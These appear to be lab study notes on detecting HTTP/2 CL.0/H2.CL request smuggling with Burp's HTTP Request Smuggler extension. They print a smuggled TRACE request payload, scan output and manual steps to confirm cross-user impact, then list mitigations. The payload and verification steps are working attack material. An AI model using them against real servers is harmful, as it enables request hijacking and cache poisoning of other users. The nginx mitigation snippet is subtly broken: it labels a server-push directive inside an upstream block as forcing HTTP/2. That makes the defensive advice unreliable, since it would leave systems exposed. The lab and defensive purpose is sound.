The same Burp extension used for HTTP/1.1 smuggling works for HTTP/2.
Another name for H2.CL vulnerability where:
Content-Length: 0is set- Request body contains only the smuggled request
- Send any HTTP/2 request to Repeater:
GET /index.php?param1=HelloWorld HTTP/2
Host: http2.htb-
Right-click → Extensions → HTTP Request Smuggler → CL.0
-
Leave default settings, press Enter
-
View results in Extensions → Installed → HTTP Request Smuggler → Output
Queueing request scan: CL.0
Found issue: CL.0 desync: h2CL|TRACE /
Target: https://172.17.0.2
Evidence:
======================================
GET /index.php HTTP/2
Host: 172.17.0.2:8443
Origin: https://wguglsurkz2.com
======================================
POST /index.php HTTP/1.1
Host: 172.17.0.2:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
TRACE / HTTP/1.1
X-YzBqv:
======================================
Request 1 (Smuggling):
POST /index.php HTTP/1.1
Host: 172.17.0.2:8443
Origin: https://wguglsurkz2.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
TRACE / HTTP/1.1
X-YzBqv: Request 2 (Probe):
GET /index.php HTTP/2
Host: 172.17.0.2:8443
Origin: https://wguglsurkz2.com| Request | Response |
|---|---|
| Request 1 | 200 OK (normal index) |
| Request 2 | 405 Method Not Allowed |
405 on Request 2 = Vulnerability confirmed!
- Create tab group in Burp Repeater
- Uncheck "Update Content-Length" for first request
- Send via separate TCP connections (to prove cross-user impact)
- Check for different response on second request
HTTP/2 downgrading is the primary cause of these vulnerabilities.
Problem: HTTP/2 → Proxy → HTTP/1.1 → Backend
Solution: HTTP/2 → Proxy → HTTP/2 → Backend
✅ Implement HTTP/2 between ALL components
✅ No protocol downgrading
✅ Eliminates rewriting vulnerabilities
✅ Configure proxy to reject HTTP/1.1 backend
✅ Force HTTP/2 or fail
✅ Validate CL header matches actual body
✅ Reject TE header in HTTP/2 requests
✅ Check for forbidden characters (CR, LF, NUL)
✅ Apply security patches
✅ Monitor CVEs for proxy software
✅ Test after updates
upstream backend {
server backend:443;
# Force HTTP/2
http2_push_preload on;
}# Reject mixed protocols
http-request deny if !{ ssl_fc_alpn -i h2 }
| Tool | Purpose |
|---|---|
| HTTP Request Smuggler | Automated CL.0/H2.CL detection |
| Burp Repeater | Manual verification |
| Tab Groups | Sequential request testing |
- 🔄 HTTP/2 end-to-end - Eliminate downgrading
- ✅ Validate headers - CL must match body
- 🚫 Reject TE in HTTP/2 - Per RFC
- 🔍 Validate characters - No CR/LF/NUL in headers